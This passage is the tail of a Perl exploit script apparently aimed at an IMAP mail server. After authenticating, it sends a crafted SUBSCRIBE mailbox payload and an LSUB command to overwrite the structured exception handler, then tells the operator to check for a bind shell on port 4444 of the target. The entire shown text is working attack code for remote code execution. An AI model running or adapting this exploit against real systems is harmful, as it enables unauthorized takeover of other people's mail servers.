Error: Invalid username or password!\n";
    exit;
}

print "[+] Successfully logged in.\n".
      "[+] Trying to overwrite and control the SE handler...\n";

$sock->send( "a002 SUBSCRIBE {" . length( $mailbox ) . "}\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "$mailbox\r\n" );
$sock->recv( $recv, 1024 );
$sock->send( "a003 LSUB arg1 arg2\r\n" );
sleep( 3 );
close( $sock );

print "[+] Done. Now check for a bind shell on $ip:4444!\n";